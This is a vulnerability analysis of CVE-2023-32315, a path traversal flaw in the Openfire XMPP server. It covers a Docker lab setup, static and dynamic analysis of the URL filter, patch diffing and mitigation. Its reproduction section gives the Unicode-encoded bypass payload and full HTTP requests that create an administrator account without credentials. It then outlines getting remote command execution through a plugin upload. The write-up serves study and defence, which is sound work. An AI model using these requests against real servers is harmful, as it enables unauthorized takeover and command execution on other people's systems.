Summary
An Analysis for CVE-2023–32315 which was Path Traversal in Openfire
Description
Intro
CVE: CVE-2023–32315
Description: Openfire is an XMPP server Openfire and a web-based application.
Vendor: Openfire
Product Version: 4.7.5 and 4.6.8
Openfire is messaging and groupchat
server for the Extensible Messaging
and Presence Protocol (XMPP). it is written in Java
and licensed under the Apache License, Openfire was found to be vulnerable to a path traversal attack via the setup
environment. This vulnerability allowed unauthenticated access to application files
Building The Testing
I’m using Ubuntu 20.04
install docker
sudo apt install docker docker-compose
clone the docker container
git clone https://github.com/luzifer-docker/openfire
you need to edit the file by adding -remotedebug
to allow to app opening
with remote debugging mode option and change the
openfire
file to openfire.sh
#!/usr/local/bin/dumb-init /bin/bash
set -euo pipefail
# init configuration
[ -e "/data/security/keystore" ] || {
mkdir -p /data/security
mv /opt/openfire/resources/security/keystore /data/security/keystore
}
[ -d "/data/embedded-db" ] || { mkdir -p /data/embedded-db; }
[ -d "/data/conf" ] || { mv /opt/openfire/conf /data/conf; }
ln -sfn /data/security/keystore /opt/openfire/resources/security/keystore
ln -sfn /data/embedded-db /opt/openfire/embedded-db
rm -rf /opt/openfire/conf && ln -sfn /data/conf /opt/openfire/conf
# start openfire
/opt/openfire/bin/openfire start
# let openfire start
echo "Waiting for Openfire to start..."
count=0
while [ ! -e /opt/openfire/logs/stdoutt.log ]; do
if [ $count -eq 60 ]; then
echo "Error starting Openfire. Exiting"
exit 1
fi
count=$((count + 1))
sleep 1
done
# tail the log
tail -F /opt/openfire/logs/*.log
you need to add to the Dockerfile
file to give
/opt/openfire/bin/openfire.sh
the permission to let the docker start with it
FROM alpine:3.14
LABEL maintainer="Knut Ahlers <knut@ahlers.me>"
ENV OPENFIRE_VERSION=4_7_4
RUN set -ex \
&& apk --no-cache add \
bash \
ca-certificates \
curl \
openjdk11 \
&& mkdir -p /opt \
&& curl -sSfL "https://www.igniterealtime.org/downloadServlet?filename=openfire/openfire_${OPENFIRE_VERSION}.tar.gz" | \
tar -xz -C /opt \
&& curl -sSfLo /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.1/dumb-init_1.2.1_amd64 \
&& chmod +x /usr/local/bin/dumb-init \
&& chmod +x /opt/openfire/bin/openfire.sh
EXPOSE 9090 9091 5222 5223 5269 5005
VOLUME ["/data"]
# Specify the entrypoint to start the application in debugging mode
CMD ["/usr/local/bin/dumb-init", "/opt/openfire/bin/openfire.sh", "-remotedebug"]
build the docker container
sudo docker build -t luzifer/openfire .
run it with the exposed ports
sudo docker run -p 9090:9090 -p 9091:9091 -p 5222:5222 -p 5223:5223 -p 5269:5269 -p 5005:5005 --privileged --rm -ti -v /data/openfire:/data luzifer/openfire
now open your browser and go to localhost
on 9090
port to start the installation process
Set Up the Openfire
- Language Selections
- Server Settings
- Database Settings
- Profile Settings
- Administrator Account
Now the setup is Complete and ready to start the analysis
Reproduce The Vulnerability
go to http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
as the following picture
obtain the cookie && CSRF token header using Burpsuite by visiting the
plugin-admin.jsp
using the path traversal attack payload
as the following request
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1
Host: 192.168.225.169:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
add a new user to Openfire
console with the Administrator's permission
using user-create.jsp
with the cookie && CSRF header
obtained above
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=nZpKRNyUT6L78b6&username=test&email=admin@admin.com&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1
Host: 192.168.225.169:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
cookie: JSESSIONID=node0um3l7599hhie11j3qpng1cdk420.node0; csrf=nZpKRNyUT6L78b6
Upgrade-Insecure-Requests: 1
as you can see the user added Administrator permission
After getting Authenticated now you can get a reverse shell(RCE) by uploading a Vulnerable Plugin like Openfire-management-tool-
the plugin ca n be found here
go to plugins and choose the plugin and then upload
go to server settings > Management Tool
the plugin will ask for a pass enter 123
now you can execute commands on the host server or take a reverse interactive shell
Static Analysis
based on the PoC it’s like the Vulnerability exists in how the application validates the URL characters so while I was
reviewing the code after downloading it from the official repository version 4.7.4 I catch where the application secures &&
exclude the malicious character which was here
official repository: https://github.com/igniterealtime/Openfire/tree/51b9db96d0f8611f768178901407dff05ee20f28
Vulnerable code path: https://github.com/igniterealtime/Openfire/blob/main/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java
first was the application use doFilter
as the responsible function to handle the validation
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)res;
// Do not allow framing; OF-997
response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
// Reset the defaultLoginPage variable
String loginPage = defaultLoginPage;
if (loginPage == null) {
loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp" );
}
// Get the page we're on:
String url = request.getRequestURI().substring(1);
if (url.startsWith("plugins/")) {
url = url.substring("plugins/".length());
}
// See if it's contained in the exclude list. If so, skip filter execution
boolean doExclude = false;
for (String exclude : excludes) {
if (testURLPassesExclude(url, exclude)) {
doExclude = true;
break;
}
}
The testURLPassesExclude
Method is called within the doExclude
loop, set to false. If the testURLPassesExclude
method returns true, the request
processing will be stopped. and in case it returns false, the request will
be allowed to continue, and the application will proceed with processing the request
testURLPassesExclude
Method
public static boolean testURLPassesExclude(String url, String exclude) {
// If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
// If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
// Now make suxre that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
else if (exclude.contains("?")) {
if (url.equals(exclude)) {
return true;
}
}
else {
int paramIndex = url.indexOf("?");
if (paramIndex != -1) {
url = url.substring(0, paramIndex);
}
if (url.equals(exclude)) {
return true;
}
}
return false;
}
root cause
testURLPassesExclude
Method was to validate using (`exclude list`) to
determine the URL
passed or not, It checks for
occurrences of ..
or %2e
and if found in the URL to prevent path
traversal attacks in the normal way but in this attack
scenario the filter can’t prevent this type because this rule gets bypassed by using a Unicode character 16-bit
/%u002e%u002e/%u002e%u002e/
payload and this gives unauthorized
access to files under the root directory the researcher
abused the built-in files to post the impact and achieve RCE, as explained in the Reproduce section
Dynamic Analysis
after downloading the source code from the official repository
add the app files by opening the File structure > Project Existing Sources
load the app files
chose Maven
build the app code
set the configuration with the host (Ubuntu && docker container)
until seeing Connected to the target VM now it’s ready to start the debugging
I will add the breakpoint in testURLPassesExeclude to see how gets bypassed
and visit the URL with the bypass to trigger the function
the method handling the URL and having the value of our payload encoded in Unicode 16-bit in the URL variable before being
passed to the filter
as clear above picture in the target=log.jsp
variable the payload bypassed the filter and have access to the app files which
means dofilter
return to false and let the value pass without filtering
Patch Diffing
After performing patch diffing, the difference in the patched code is that the developers added the decodedUrl
variable to
decode the URL using UTF-8 encoding. If the decoding process fails or returns false, it means the usage of non-standard
encoding in the URL to avoid encoding attacks and mitigate the Path traversal
Mitigation
it’s always recommended to update the apps but in case you can’t do the update, there is a way to mitigate by editing the
configuration file which is found opt/openfire/plugins/admin/webapp/WEB-INF/web.xml
and removing *
from the AuthFilter
element
to exclude anything after setup to Authentication to avoid and limit the risk of the Vulnerability
as this Picture:
in case the attacker tried to exploit it after the mitigation will redirect to the login page
Final Thoughts
During the analysis (static & dynamic) and debugging of the application, we saw how a single line of code can turn the entire
application into a security risk. As we observed in this CVE the path traversal vulnerability which exploited using Unicode
encoding. It’s important for developers to be aware of bypassing techniques and implement proper encoding checks. We highly
recommend using whitelists and avoiding user-controlled inputs to prevent such attacks.